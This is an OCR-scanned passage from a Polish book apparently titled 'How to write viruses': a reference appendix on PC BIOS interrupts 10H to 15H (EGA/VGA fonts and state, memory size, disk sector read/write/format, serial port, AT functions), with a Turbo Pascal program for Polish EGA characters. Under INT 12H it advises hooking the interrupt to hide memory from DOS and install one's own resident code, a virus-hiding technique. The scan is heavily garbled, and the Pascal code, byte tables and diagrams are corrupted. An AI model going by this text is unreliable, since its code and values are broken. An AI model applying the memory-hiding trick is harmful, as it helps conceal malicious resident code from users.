21H ~ ustawienie matrycy uzytkownika dla trybow
graficznych
ES.BP - adres matrycy dia przerwania 44H
GCX ~liczna bajtdw na znak
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BL = kod liczby wierszy na ekranie
0 - ustalona przez uzylkownika
DL - liczba wierszy
1-0EH (14)
2-19H (25)
3- 2BH {43)
22H - ustawienla matrycy 8"14 dla trybéw graficznych
z AOM
BL - kod liczby wierszy na ekranie
23H — ustawienia matrycy 8'8 dla trybow graficznych
z ROM
BL - kod liczby wierszy na ekranie
24H - ustawienia matrycy 816 dla trybow
graficznych z ROM{VGA)
BL kod liczby wierszy na skranie
30H — Pobranie dodatkowych informaci
= typ matrycy
0 - matryca graficzna przenvania 1FH
1 - matryca graficzna przerwania 44H
2 - matryca ROM 8*14
3 - matryca ROM 8°8
4 —matryca ROM 8°8 {najwyzsza)
5 -~ matryca ROM 9x14
& — matryca ROM 8Bx16 (VGA)
7 — matryca ROM 9x16 (VGA)
Powrdt: ES:BP - adres matnycy, kidre] typ byt przekazany w BH
(jesli AH=30H) CX —liczba bajtow na znak
DL —liczba wierszy na ekranie
Opis: Funkeja definiujg nowa matryeg znakéw dia karty EGA. Zmiana matrycy powoduje bazpo-
$rednie efekty na ekranie. Pod-funkcje 10H,11H,12H operujg na zerowej stronie graficzne]
i powinny by¢ wywohywane bezposrednio po zmianie trybu wyswietiania. Sposéb definiowa:
nia znakdw jest przedstawiony przy opisie obszaru danych karty EGA.

Uwagi: Ponizszy program w Turbo Pascalu instaluje polskie znaki na zerowej stronie karly EGA.
{******************tt****ww**********k***tt*****k****k************}
{* .
Frogram Litery Andrzej Dudek Lipilec 1992 * 1
x *
{* Polskie litery na karty EGA, VGA. Standard Mazovii *1
* *

{***1***t*************************k************ﬁ*t*******#********}

{$m 10000,10000,80000}

usges dos;

type litera=array[l..l1&] of byte;

congt  ilosco_ znakow-lg
wzory:array{l..ilosc_ znakow] of litera =
((0,0,16,5¢6, 108 19¢,198,254,198,198,198,193 d 8
8 60 102 194,192,192,192,192,1%4,102,60,0,0,
254,10 L,98,104,120,104, 96, 98 102 254 2 4 0
240,96 96.100 104 112 96 98 102 254 O
30,230,246, 254 222 206 198 198 l

198 198,96 56 12 &, 198, 198 124,
98,134,12,126,48,96.194 198, 25
98,134,12,24,48,96,194,198,25
20,12,124,204,204,204,118,
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(0,0,0,16,0,254,204,24,48,96,198,254,0,0,0, 03,
{0,0,0,4,8,254,204,24,48,96,198,254,0,0,0,07,
{(0,0,0,2,2,2,123,10,22,34,66,122,0,0,0,01};
kody

rarray [l..ilosc_znakow] of bvte =
($BF,¥95.$90.$9C,$A5,$A3,$98, Al,sA0,586,3%8D, 591,
$92, 8R4, 52, 59E, SAT, SA6,59B) ;
var p :™litera;
r iregisters;
gd, graphmode :integer;
1 :byte;
begin
with » do
hegin
inline{&fa);
ah;:=%48;
bx:=1;
msdos () ;
if bxl then
begin
inlina{sfh); {* cnL1y *)
exit
end;
a8 =ax;
bp:=0;
p:=ptrles,bp);
ah:=3%11;
al:=0;
cx:=1;
Pl:=0;
bh:=16;
for i:=1 to ileosc_znakow do
begin
p*i=wzory[i];
dx:=kodyii];
intr {310, r});
end;
ah:=549;
msdos (x) ;
inline {$fk); {* 5TI *}
end;
fog i:=1 to ilosc_znakow do write({char{kcdy[i]})};
end.

Przerwanie:  10H

Funkeja 12H
Nazwa: Dodatkowe funkcje kart EGA,VGA
Wywotanie: AH=12H

BL = 10H - pobranie informacii o trybie pracy
Powrét: BH=tryb

Q - kolorowy
1-monochromatyczny
BL = pamigd karty EGA
0 —G4KB
1-128K8
2-192KB
3 - 256KB
CH - bity cech
CL — ustawienie przetacznikow z tyfu komputera
Wywotania: AH=12H
BL = 20 - zmienia procedure drukowania ekranu po zmianie liczby wierszy na ekranie
Wywolanle: AH=12H
BL = 30H - wybdr liczbg punktow w pionie w trybie tekstowym, Efekty widaé dopiero po
mianie trybu (VGA)
AL = 0-200 punktow
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1- 350 punktow
2 - 400 punkidw
3— 480 punklow

Powrdt: AL = 12H jesli funkcja przebiegta prawidlowo
Wywotanie: AH=12H
BL = 31H - Standardowe tadowanie palety {(VGA)
AH=0
AL = 0-Podczas wyboru trybu graficznego tadowana
standardowa paleta
1 - Podczas wyboru trybu graficznego nie fadowana
standardowa paleta
Powrdt: AL = 12H jesli funkcja przebiegia prawidiowo
Wywolanie: AH=12H
BL = 32H - zablokowanie/odblokowanie YGA
AL=  0- cdblokowanie
1 - zablokowanie
Powréat: AL = 12H jesli funkcja przebiegta prawidiowo
Wiywotanie: AH=12H
BL = 33H - zamlana na odcienie szarosci {VGA)
AL =
0 - zezwolenie ha zamiang
1 - zablokowanie zamiany
Powrét: AL = 12H jesli funkcja przebiegta prawidiowo
Wywotanie: AH=12H
BL = 34H - emulacja kursora {VGA)
AL =
0 - zezwolenie na emulacje
1 - odblokowanie emulaci
Powrot: AL = 12H jesli funkcja przebiegta prawidiowo
Wiwolanie: AH = 12H
Bl = 35H - przelaczanie kart graficznych {niekompatybiinych) {VGA)
ES:DX - adres bufora 128-bajtowy
AL=  0-przygotowanie do wylaczenia
1 — przygotowanie do wylaczenia karty systemowe;
2 —wylaczenie
3 —wigczenie karly nieaklywne)
Powrot: AL = 12H jesli funicia przebiegta prawidiowo
Wiywolanie: AH=12H
BL = 36H - wiaczenie/wylaczenia ekranu (VGA)
AL=  0-wigczenie ekranu
1 - wylaczenie ekranu
Powrdt; AL = 12H jesli funkcja przebiegta prawidtowo
Opis: Funkecia zwraca informacje o karach EGA,VGA (BH=10H), zmienia systemows, procedurg
drukowania ekranu lub wykonuje dodatkowe funkcje dla katty VGA (pod-funkcje 30H-36H).
Uwagi: Wywofuj ts funkcje z parametrem 20H zawsze gdy zmienisz tryb wyswiellania, a cheesz
wydrukowad zawarto$¢ ekranu.
Przerwanie.  10H
Funkcja 13H
Nazwa: Zapis fancucha znakow
Wywolanie: AH= 13H
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BH - numer strony
DL -~ kolumna
D — wiersz
ES:BP - adres taricucha do wyswietienia (dla pod-funkgji 2 i 3 faricuch musi by¢ w postac:
znak, atrybut, znak, atrybut, ...}
AL = numer pod-funkci
0 - uzywajac atrybuiu z BL, nie przesuwajac kursora
1 - zywajac atrybutu z BL, przesuwajge kursor na
koniec
2 — z roznymi atrybutami, nig przesuwajac kursora
3 -z réznymi atrybutami, przesuwajae kursor na konieg
Powrot: Brak
Opis: Funkgja zapisuje na stronie o numerze podanym w BH fadcuch znakow.

Przerwanie: 10H

S LF L TR ISR ST UL LN SN R S IRTRES

P

Funkcja 1BH
Nazwa: Pobranie informagji o stanie VGA
Wywotanie: AH = 1BH
BX =00H
Powrdt: AL = 1BH - jeéli lunkcja zakoriczyta sie sukcesem
ES:DI - bufor z danymi (patrz opis)
Opis: Funkcia zwraca informacje o stanie kasty VGA. Dane te zajmuja 64 bajty | maja nastepujg-
- cy format:
offset Rozm. Zawarlosc
0 4 adres Tablicy Stanu VGA (patrz nizej)
4 1 aktualny tryh graficzny
5 2 liczba kolumn znakowych
7 2 rozmiar bufora o
9 2 poczatkowy adres w buforze_
O0BH 10H pozycje kursora dla stron 0-7 (wiersz kolumna; wiersz, ...)
1BH 2 ksztait Kursora (patrz przerwanie 10H funkcja 01H)
1EH 2 adres portu kontrolera CGA/MDA
20H 1 biezaca wartosc rejestru 378 (karta CGA)
21H 1 hiezaca wartosd rejestru 379 (karta CGA}
22H 1 liczba wierszy znakowych na ekranie
234 2 wysokos€ znaku (liczba punktdw w pionie na znak)
25H 1 akhywny DCC _
26H 1 alternatywnyDCC
274 2 kolory biezacego trybu graficzneqo o
28H 1 iiczba stron w biezacym trybie graficznym o
2AH 1 liczba wierszy graficznych (=200, 1=350, 2=400, 3=480
2BH 1 pierwotna matryca znakow (dla przerwania 10H funkeji 1103H)
2CH 1 widma matryca znakdw
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offset Rozm. ) Zawartosc
2UH 1 rozng informacie o stanis
7 6543 2 10
Lol [ | |
E L 0: 1=wszystkie tryby na wszystkich monitorach
| 1: 1=aktywna zmiana na adeienie szarosci
2: 1=dolgczony monochromatyczny monitor
3: 1=zablokowane ladowanie standard, patety
4; 1=aktywna emulacja kursora
5. 1=aktywne migotanie
31H 1 rozmiar pamigci obrazu 0=64KB, 1=128KB, 2=192KB, 3=256KB
i informacje zmienne] SAVE_PTR
7 6 5 4 3 2 110
a0 |
L 0: 1=aktywna matryca 512-znakowa
1: 1=aktywny cbszar dynamicznego zapamigtania
L 2 t=aktywne definiowanie fentow tekstowych
L 3 1=aktywne definiowanie fontéw graficznych
4: 1=aktywna zmiana palety
5. 1=akiywne rozezerzenie DCC
I 0DH ZareZETWOWENE

4 Tablica Stanu VGA, kidrej adres 2najduie sig pod offsetem 0, skiada sig 2 naslgpujacych pdl:

pifset Rozm. | Zawarlos¢
) 1 dostepne trybybit 0 = tryb O0H ... bit 7 = tryb 07H
1 1 graficzne  bit 0 = tryb 08H ... bit 7 = tryb OFH
2 1 bit 0 = tryb 10H ... bit 7 = tryb 17H
3 4 Zarezerwownang
7 1 liczba wierszy graficznych 0=200, 1=350, 2=400, 3=480 N
B 1 liczba matryc znakow dostepnych w irybie tekstowym (VGA -8
1. 9 1 maksymaina liczba rdwnoczesnie wyswietianych matryc (VGA - 2)
§ 0AH 1 rééne informacje

7 6 5 43 2 10

0: 1=wszystkie ryby na wszystkich monitorach
1: 1=aklywna zmiana na odelenie szerosci

2: 1=ladowanie fontdw tekstowyeh

3: 1=zablokowane fadowanie standard. palety

4: 1=emulacja kursora
&

6:

T

L

1=paleta EGA
1=pateta koloréw VGA
1=podzial na strony rejestrow kolordw
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0BH | 1 J rézne informacije
7 6 58 4 3 2 10
olalolo |
[_ 0: 1=dotgczone pidro swietine
L 1 1=stan karly zapamigtany/odiworzony
2: 1=migotanie/podéwietlenie tta
3:1=DCC
OCH 2 zalezerwowane
OEH 1 informacie zmiennal SAVE_PTR. takie 5ame jak pod offsatem 032H w tabelca powy2e].
OFH 1 zarezerwowane
Przerwanie:  10H
Funkcja 1CH
[ Nazwa: Zapamigtaniz‘przywrécenie stanu karty graficzng]
Wywofanie. CX — znaczniki stanu kary

bit 0 = 1 - Zapamigtanie/przywrdcenie stanu sprzetu
kit 1 = 1 — Zapamigtanie/przywrdcenie stany
3 zmiennych VGA BIOS
5 bit 2 = 1 - Zapamigtaniefprzywrdeenie stanu DAC |
rejestrow kolordw

ES:DX - adres bufora

AL= Q- zapytanie o rozmiar bufora

Powrdt

BX rozmiar bufora w blokach po 64 bajty

1 — zapamigtanie cbecnego stanu karty
h 2 - przywrocenie stanu karty. W buforze muszg sig

’ znajdowad dane uprzednio zapamietane
Powrdt, AL = 1CH jesli funkcia zakoriczyta sie sukcesem
Opis: Funkcja zapamigtuje lub przywraca uprzednio zapamigtany stan karty VGA.

Przerwanie:  11H

Nazwa: Konflguracja komputera

Wywolanie: Brak

Powrdt: AX - lista wyposaZenia

Opis: Przerwanie 2wraca liste wyposaZenia dolgczonego do plyty gidwne] kemputera. Jest to ta

sama lista, ktora znajduje sie w zmiennej systemowej 0:410

Przerwanie: 12H

Nazwa: Pylanie ¢ rozmiar zainstalowane] pamigct

Whywolanie: Brak

Powrét: AX - rozmiar pamieci w KB

Opis: Przerwanie zwraca rozmiar dolnej pamigei w Kilobajtach. Maksymalna warlcéé zwracana
przez przerwanie 1o 640,

Uwagi: Z tego przerwania korzystajg funkcje DOSa 48H i 4AH przy przydzielaniu pamigci proceso-

wi. Jesii wige Twdj program przechwyci to przarwania | bgdzie podawat liczbg o kika Kila-
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hajtéw mnigjszg niz taktyczna, to ostatnie bloki dolnej pamigci komputera beda niedoste-
pne dla systemu | bedziesz mégt tam zainstalowad jakas swoia procedure.

Przerwanie: 13H

~ Nazwa: Ohbsluga dyskow

Opis:

Przerwanie sklada si¢ z kilkunastu funkgji. Funkcje powyze| 8 odnosza sie tylko do dysku
twardego. Przekazanie w rejesirze AH odpowiedniego numeru powoduje wywolanie fun-
keji. W przypadku wystapienia bledu funkeja ustawia znacznik C, a rejestr AH zawiera kod
btedu. Kedy te odpowiadaja nastepujacym bigdom:

00H OK.
0tH Nisrozpoznany rozkaz dia kontrolera
02H Biedny adres
03H Préba zapisu na zabezpieczone] dyskietce
04H Bledny identyfikator dysku
Q5H Btad inicjalizacii (AT)
08H Awari;DMA -
WH | Przekroczenie przestrzeni adresowej DMA
CbH Zle ustawiony wskaznik $ciezki (AT)
10H Blad CRC
11H Dane poprawicne. Zastosowano algoryim ECC (AT)
20H Awaria kontrolera
40H Nie znalezicna $ciezka _
80H Brak odpowiedzi po ckreslonym czasie
| DAAH Napgd nie gotowy (AT)
B 0BBH | Innyblad (AT)
M| OFFH | Siednykod cperacji (AT)
i@ Przerwanie:  13H
‘8 Funkcja 00H
Nazwa: inicjalizacja dysku
Wywotanie: AH = 00H
DL - dysk
Powrot: Brak
Opis: Jesli w rejestrze DL jest przekazana wartos¢ 80H lub 81H funkcja inicjalizuje sterownik dys-

ku twardego, w przeciwnym wypadku rekalibruje FDC

Przerwanie:  13H

Jak

Funkeja 01H
Nazwa; Pobranie kodu bigdu ostatniej operacji dyskowsj
Wywolanie: AH=01H

L - dysk (DL<80H — dyskietka, DL>=BOH - dysk twardy)
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Powrot: AL - kod bhedhy
Opis: Funkcja zwraca kod bredu ostatniej operagit dyskowej. Ta sama wartosé znajduje sig
w zmiennej systemowej 0:.0441.
Przerwanie:  13H
Funkgja 02H
Narwa: Odezyt sektordw
Wywolznle: AH = 02H
AL — liczba seklordw
CX —numer sciezki i sekiora
DL - numer napedu (0=A,1=B...,.80H=dysk twardy #0,81H=dysk twardy #1)
DH - numer glowicy
ES:BX - adres bufora
Powrdt: Ustawiony znacznik C: AH - kod bledu
Wyzerowany znacznik C: Q.K,
Cpis: Funkcja czyta zawartosé jednegoe lub kilku sekiordw (jednak nie wigcej niz jedng Scietke)

| zapisuje jg do bufora. W rejestrze CX przekazywane s3 numery poczatkowe| sciezki | po-
czatkoweno sektora w nastepujgeym fomacie:

F EDCOBAD9 8 7% 6 5 4 23 2 10

CX:

Elcjc|cC

c

clc|c|C|C|s|5|5|35]|8|s

Te dwa bity sg uiﬁvane jako starszy
bajt numeru sciezki.

{c - oznacza dciedke, s ~ sekior)

=TS R,

= o

Przerwanie:  13H
Funkcja 03H
Nazwa: Zapis seklordw
Wiywolanie: AH = 03H
AL - liczba sekiordw
CX — numer $ciezki i sektora (patrz opis funkci 02H)
DL - numer napgdu (0=A,1=B... 80H=dysk twardy
#0,81H=dysk twardy #1)
PH = numer glowicy
ES:BX - adres bufora z danymi
Powrot: Ustawiony znacznik C: AH - ked biedu
Wyzerowany znacznik C: O.K,
Opis: Funkcie zapisuje jeden lub Kilkka sekiordw (nie wigce] niZ scieske) z bufora na dysk.
Przerwanie:  13H
Funkcja 04H
Nazwa; Weryfikacja sektordw
Wywotanie: AH = 04H

Jak pisac wirusy

AL - liczba sektordw :

CX —numer sciezki i sektora (patrz opis funkeji 02H)

DL - numer napgdu {0=A,1=B...,B0H=dysk twardy :
#0,61H=dysk twardy #1)
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DH — numer glowicy
ES:BX - adres hufora dla operacji

Powrdt: Ustawicny znacznik C: AH - kad bigdu
Wyzerowany znacznik C: O.K.
Cpis: Funkeja weryfikujg jaden lub kilka sektoréw sprawdzajge, czy nie wystepuje w nich blad
CRC.
Przerwanie:  13H
Funkcja 05H
Nazwa: Formatowanie sektordw
Wywotanie: AH = 05H
AL —liczba seklordw
CX = numer $ciezki | sekiora (patrz opis tunkeii 02H)
DL - numer napedu (0=A,1=B...,B0H=clysk twardy
#0,81H=dysk twardy #1}
BH - numer glowicy
ES:BX - adres bufora z deskryptorem dysku
Powrat: Ustawiony znacznik C: AH - kod bigdu
Wyzerowany znacznk C: G K.
Opis: Funkeja stuzy do nisko-poziomoweqgo formatowania $ciezki, Formatowanie to niszezy

wszelkie dane na sciezce. Postac deskryptora jest rézna w zaleznoscl od typu dysku:

o Dyskietka — 4 bajty dla kazdege formatowanego sektora na ciece zawierajace numer Sciezki, Glowice, numer sektora,
" @ ramiar sektora (0=128,1=256,2=512,3=1024).
E Dysk twardy AT - 2 bajty dia kazdego formatowanego sektora na $cigzce — znacznik i numer seklora,

- . Dysk twardy XT - Nie potrzeba danych w deskryptorze, rajesir AL zawiera wartosc przeploty {ang interleave — od 1 do 16).

Uwagi: Sektory na jedne] sciezce dysku twardego nie s3 ponumerowane po kolel, Ze wzgledu na
na szybkosc procesora, kidry po przeczytaniu sektora nie zdazylby zatrzymagé glowicy dys-
ku twardego na nastepnym, sg jak gdyby podzielong na serie. Liczba tych seril nosi nazwg
przeplotu. Przyktadowo 17 sektordw dysku twardego (standardowa wielkos¢ sciezki) ulozo-
nych przy przeplocie 3:1 mialoby kolejnose:

17132814351541016511178612

2a8 przy przeplocle 2:1 kolajnosc

1102113124135148157 168179

im wigkszy przeplot tym mnigjsza szybkos¢ pracy dysku twardego. Zmnigjszenie przeplotu
jest mozliwe jednak tylko przy szybkim procesorze. Dlatego w wigkszosci dyskow XT prze-
plot wynosi 3:1, natomiast 386 i szybkich AT 1:1.

Przerwanie:  13H

Funkcia 0aH

Nazwa; Pobranie parametrow napadu

Wywotanie: AH = 08H
DL - numer napedu

Powrdt: CX - maksymalny numer scie2ki i sektora (p. funkcja 02)

DL - liczba dyskdw twardych kantrolowanych przez
pierwszy sterownik
DH - maksymalny numer glowicy
Opis: Funicja zwraca informacje o dysku czerpige je  tablicy w ROM-BIOS dia typu dysku zdefi-

Jak pisac wirusy

nigwaneqgo w pamieci CMOS.
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Przerwanie:  13H

Funkcja 09H

MNazwa: Inicjalizacja tabel parametrow dyskowych

Wywolanie: Brak

Powrdt: Ustawiony znacznik C: AH - kod bledu
Wyzerowany znacznik C: O.K.

Cpis: Funkeja inicjalizuje tabele parametréw dyskowych (przerwania 41H i 46H). Wywoluj ja zaw-
sze w przypadku zmian w tych tabelach, aby BIOS zostal poinformowany o tych zmianach,

Uwagi: Komputer kiasy XT moze pracowad z dwoma dyskami twardymi, ale oba musza by¢ obstu-
giwane przez jedna tabelg parametrow (przerwanie 41H}.

Przerwanie:  13H

Funkcja 0AH

Nazwa: Qdezyt sektordw 7 korekcig, bleddw

Wywoltanie: AH = 0AH
AL - liczba sekloréw
CX - numer $ciezki i sektora (p. funkeja 02H)

CL - numer napedu {0=A,1=B... B0H=dysk twardy
#0,81H=dysk twardy #1)

CH - numer glowicy

ES.BX - adres bufora

Powrét: Ustawiony znacznik C: AH - kod bledu
Wyzerowany znacznik C: O.K.

Opis: Funkcja czyta zawartosé jednego lub kilku sektordw {jednak nie wigcej niz jedna Sciezke)

i zapisuje jg do bufora. Seklory sg 512-bajtowe + 4 bajty ECC (Error Corection Code ~ ke-
rekeja bieddw)

Liwagi: Algorytm ECG sluiy do odiwearzania w niektérych sytuacjach utracanych danych. Jesdli big-
dy w sekiorze nie sg zbyt rozlegle, to BIOS automatycznie na podstawie ECC moze odtwe-
rzy6 poprawne dane.

Przerwanie:  13H

Funkcja 0BH

Nazwa: Zapis seklorw z korekcia bledow

Wywotanie: AH = 0BH
AL - liczba sektordw
CX - numer sciezki i sektora {p. funkcja 02H)

DL — numer napedu (0=A,1=B... B0H=dysk twardy
#0,81H=dysk twardy #1)

DH — numer glowicy '

ES:BX —adres bufora z danymi

Powrgt: Ustawiony znacznik C. AH —kod biedu
Wyzerowany znacznik C. Q..

Opis: Furikcje zapisujo jeden iub kilka sekicrow (nie wigcej niz sciezke) z bufora na dysk. Sekio-

Jak pisac wirusy

1y $4 512-bajtowe + 4 bajty ECC {p. funkcja GAH).
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Przerwanie:  13H
Funkeja 0CH
Nazwa: Szukanie Scieiki
Wywolanie: AH=0CH
CX = numer $ciezki i sektora (p. funkcja 02H)
DL — numer napedu (0=A,1=B... 80H=dysk twardy
#0,81H=dysk twardy #1}
DH - numer glowicy
Powrdt; Ustawiony znacznik C: AH - kod biedu
Wyzerowany znacznik C: Q.K,
Opis: Funkgja przesuwa giowicg do Sciezki o numerze w CX.
Przerwanie:  13H
Funkcja 0DH
Nazwa: Altematywna inicjalizacja dysku
Wywotanie: AH = 0DH
DL —dysk
Powrdt; Brak
Opis: Funkefa inicjalizuje sterownik dysku. Znaczenie parametru przekazywanego w rejestrze DL
jest takie samo jak dla funkcji 0GH.
Przerwanie:  13H
Funkcja OEH
Nazwa: Odczyt seklordw dia AT
Wywolanie: AH=0EH
AL —liczha seklordw
CX - numer sciezki i sektora {p. funkcja 02H)
DL - numer napedu (0=A,1=B... B0H=dysk twardy
#0,81H=dysk twardy #1)
DH - numer glowicy
ES:BX - adres bufora
Powrot: Ustawiony znacznik C. AH - ked bledu
Wyzerowany znacznik C: O.K.
Opis: Funkcja odezytuje jeden [ub kilka sektoréw dla komputera klasy AT.
Przerwanie:  13H
Funkcja OFH
Nazwa: Zapis sektordw dla AT
Wywotanie: AH=0FH

Jak pisac wirusy

AL - liczba seklordw

CX ~ numer $ciezki i sektora (p. funksja 02H)

DL - numer napedu (0=A,1=B...,80H=dysk twardy
#0,81H=dysk twardy #1}

DH - numer glowicy

ES:BX - adres bufora z danymi
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Powrdt: Ustawiony znacznik C: AH - kod bledu
Wyzerowany znacznik G O K.
Opis: Funkcja zapisUje jeden ub kilka sekiordw dla komputera klasy AT.
Przerwanie:  13H
Funkeja 10H
Nazwa: Pytanie o gotowosc dysku
Wywotanie: AH=10H
OL - numer napgdu {0=A 1=B..))
Powrot: Ustawiony znacznik C: AH - kod bigdu
Wyzerowany znacznik C: QK.
Opis: Funkcja sprawdza, ¢zy naped o numerze podanym w DL jest gotowy do operac]i dysko-
wych.(Czy 53 zamknicte drzwiczki od stacji dyskietek).
Przerwanie:  13H
Funkcja 11H
Nazwa: Rekalibracja dysku
Wywolanie: AH=11H
DL - numer napgdu {0=A,1=B... B0H=dysk twardy
#0,81H=dysk twardy #1)
Powrdt: Ustawiony znacznik C: AH - kod btgdu
Wyzerowany znacznik C: O.K.
Qpis: Funkeja dokonuje rekalibracji dysku, ktdrego numer jest przekazany w rejesirze DL.
Przerwanie:  13H
Funkcja 12H
Nazwa: Diagnostyka pamigci RAM kontrolera AT
Wywotanie: AH=12H
Powrgt: AH - kod blgdu
Cpis: Funkeja sprawdza, czy w pamieci RAM kontrolera dyskéw komputera klasy AT nie nastapi-
by uszkodzenia.
Przerwanie:  13H
Funkcia 13H
Nazwa: Diagnostyka napadow AT
Wywotanie: AH=13H
Powrdt AH - kod bledu
Opis: Funkcja sprawdza, czy w napgdzie dyskdw komputera klasy AT nie nastapilo uszkodzenie.
Przerwanie:  13H
Funkcja 14H
Nazwa: Wewnetrzna diagnostyka sterownika
Wywotanie: AH = 14H
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Powrdt: AH - kod bigdu
Opis: Funkcja sprawdza, czy w sterowniku dyskéw komputera nie nastapilo uszkodzenie.
Przerwanie:  13H
Furkcja 15H
Nazwa: Pytanie o typ dysku AT
Wywolanie: AH=15H
DL - numer napgdu (0=A,1=B... 80H=dysk twardy
#0 81H=dysk lwardy #1)
Powrdt: AH = typ dysku
] - nie znaleziono napedu o numerze podanym w DL
1 — dyskielka, nie wymieniana
2 - dyskietka, prawdopodobnie wymieniona
3 — dysk twardy
CX:DX - liczba 512 bajtowych sektordw.
Opis: Funkcja zwraca informacie o typie dysku komputera klasy AT,
Przerwanie:  13H
Funkcja 16H
Nazwa: Pytanie 0 wymiang dyskéw AT.
Wywotanie: AH=16H
Powrot: AH=
0 — w zadne| stadji nie wymieniano dyskietki
B — nastgpila wymiana dyskietek
DL - numer stacji (0=A,1=08,..))
Opis: Funksja informuje o tym, czy byta wymieniana dyskietka, w stacji dyskéw komputera klasy
AT {tzn. czy byty olwigrane drzwiczki w stacji).
Przerwanie:  13H
Funkcja 17H
Mazwa: Ustalenie typu dyskietki
Wywotanie: AH=17TH
AL = typ dyskietki
1 - dyskietka 360KB w stacji 360KB
2 — dyskietika 360KB w stacji 1.2MB
3 - dyskietka 1.2MB w stacji 1.2MB
DL — numer slacji dyskietek (0=A, 1=B}
Powrdt: Brak
Opis: Funkcja ustala typ dyskietki znajdujacej sig aktualnie w stacji o numerzs przekazanym
wDL.
Uwagi: Uzywal tej funkcji przed formatowaniem.
Przerwanie:  14H
Nazwa: Obstuga zlacza szeregowego
Opis: Przerwanie skiada sie 7 kitku funkcji. Przekazanie w rejestrze AH odpowiedniego numeru

Jak pisac wirusy

powoduje wywotanie funkcji.
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Przerwanie:  14H
Funkcja 00H
Nazwa: inigjalizacja zlgcza
Wywotanie: AH=0CH
AL - parametry inicjafizacii
DL — namer portu {0 lub 1)
Powrol: AH -- sialus poru {p. lunkeja G3)
Opis: Funkeja inicjalizuje port 2tacza szeregowege RS-232, W rejestrze AL przekazywane sg pa-
rametry inicjalizacl wg naslepujgcega formaiu:
7 6 5 4 3 2 1 0
szybkos¢ | parzyst | sip | diugosé |
L.L dhugosé stowa. 10=7 bitdw; 11=8 bitow
_ _ bitystopu0=1;1=2;
kontrola parzystosci.
x0=brak; O1=nieparz.; 11=parz.
Szybkosé w Boud-ach:
000=110; 100=1200
001=150; 101=2400
010=300; 110=4800
011=600; 111=0600
Przerwanie:  14H
Funkea 01H
Nazwa: Przestanie znakL!
Wywotanie: AH=01H
AL - ked znaku
DX —numer portu {0 lub 1}
Powrdt: AH —status portu {p. funkcja 03)
Onis: Funkeja przesyta jeden znak wybranym ztaczem RS-232
Przerwanie:  14H
Funkcja 02H
Nazwa: Qdbidr jednego znaku
Wywotanie: AH=02H
DX - numer portu (0 lub 1)
Powrdt AH =0-0K. , wprzaciwnym razie biad
AL — kod odebranego znaku
Opis: Funkcia odbiera jeden znak z wybranego ziacza RS-232
Przerwanie:  14H
Funkcja 03H
Nazwa: Pytanie o status portu
Wywotanie; AH = Q3H
OX — numer poru (0 fub 1}
Powrat; AX - status portu

Jak pisac wirusy
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Opis: Funkcja zwraca informacje © aktualnym stanie wybranego ziqcza RS-232. Znaczenie bitow
przekazywanych w rejestrze AX jest nastepujace:
AH - Status linii
7' preskroczenie c2asy
6: pusty rejestr przesuwu
5: pusty rejestr bufora
4 wykryto przerwg
3: biad ramki
2: blad parzystosci
1: bledna liczba znakéw
0: gotowosé do operagi
AlL= Status modemu
7: obecnosé sygnatu na linii
6: 2adanie odbiory
5: qotowosé do odbiory
4: gotowoié do nadawanie
3: ziana znacznika sygnatu na dink
2: zmiana znacznika zgdania adbiory
1: zmiana znacznika gotowosci do odbioru
0: zmiana znacznika gotowosci do nadawania
Przerwanie:  15H
Nazwa: Dodatkowsa funkcje AT
Opis: Przerwanie skiada sig z kilkunastu {unkgji. Przekazanie w rejestrze AH odpowiedniego nu-
meru powoduje wyworanie funkeji. Funkeje o numerach od 0 do 3 dotyczq obstugi magneto-
fonu kasetowego jake pamieci zewnetrznef, Mysle, ze sig nig abrazisz, jesli nie umieszcze
tutaj ich opisu.
Przerwanie:  15H
Funkcja 80H
Nazwa: Utwarcie kanatu da procesu
Wywotanie: AH = 80H
BX ~ identyfikator urzadzenia {p. funkcja 90H}
CX ~identyfikator procesu
Powrdt: Brak
Opis: Funikcja otwiera kanat do urzadzenia dia procesu.
Przerwanie:  15H
Funkcja 81H
Nazwa: Zamkniecie kanatu dla procesu
Wywolanie: AH = 81H
BX - identyfikator urzadzenia {p. funkcja 90H)
CX — identyfikator procesu
Powrot: Brak
Opis: Funkgja zamyka kanat do urzgdzenia dla procesu.

Jak pisac wirusy
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Przerwanie:  15H
Funkcja 82H
Nazwa. Zakoriczenie programu cbstugf urzadzenia
Wywotanie: AH = 82H
BX — identytikator urzgdzenia {p. funkcja 90H)
Powrét. Brak
Opis: Funkgja koriczy program obstugi urzadzenia.
Przerwanie:  15H
Funkcja 83H
Nazwa: Czekanie na zdarzenie
Wywotanie: AH=83H
AL = 0- uslawiente okresu
ES:BX — adres 1 bajtowego bufora
CX:DX - liczba mikrosekund pozostatych do czekania.
1 - rezygnacja z oczekiwania
Powrét: Brak
Opis: Funkcfa ustala okres okres oczekiwania na zdarzenie b rezygnuje z oczekiwania. W przy-
padku ustawienia aczekiwania w rejestrach CX:DX nalezy podaé liczbe mikrosekund, Po
uptywie tej liczby bit 7 bufora wskazywanego przez ES:BX jest ustawiany,
Przerwanie:  15H
Funkcia 84H
Nazwa: Pytanie o stan joysticka
Wywotanie: AH = 84H
DX =
{0 - pytanie ¢ ustawienie przetgeznikdw
1 - pytanie o pozycjg
Powrdt: AL - ustawienie przetgcznikow (bity 7-4, jesli DX=0)
AX ~wartosé A(X) (jesli DX=1)
BX —wartosé A(Y} (jesli DX=1)
CX - wartosé B{X) (jesli DX=1)
DX - wartosé B(Y) (jesli DX=1)
Opis: Funkeja cbstuguje joystick. Zobacz rowniez opis portu joysticka.
Przerwanie:  15H
Funkcja 85H
Nazwa: Obstuga klawisza SysReq
Wywolanie: AH = 85H
Powrét: AL = 0 -klawisz weisnisty
1 - klawisz zwolniony
Opis: Funkeja obshuguje klawisz SysReq. W praktyce nie robi ona nic, jednak w zamy$le funkcie

Jak pisac wirusy

te miat obstugiwad system operacyjny i podejmowad odpowiednig akcje w zaleznosci od te-

o, Czy klawisz jest nacisnigly, czy zwalniany.
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Przerwanie:  15H

Funkcja 86H

Nazwa! Pusta petla

Wywotanie: AH = 86H
CX:DX —ticzba mikrosekund (CX - starszy bajt)

Powrdt: Brak

Opis: Funkgja nie robl nic poza tym, Ze trwa doktadnie tyle czasy, ile jest podane w rejestrach
CX:DX.

Przerwanie:  15H

Funkcja 87H

Nazwa: Przestanie bloku géme) pamigel

WYhnwotanie: AH =87H
ES:DI - adres GDT
CX - liczba 18-bitowych stow do przestania {max B000H)

Powrot: Ustawiony znacznik C:
AH = ked bledu
0-0K
1 - btad parzystosci pamigci
2 — wystapifo przerwanie sytuadji wyjatkowe;
3 - bigdny adres docelowy

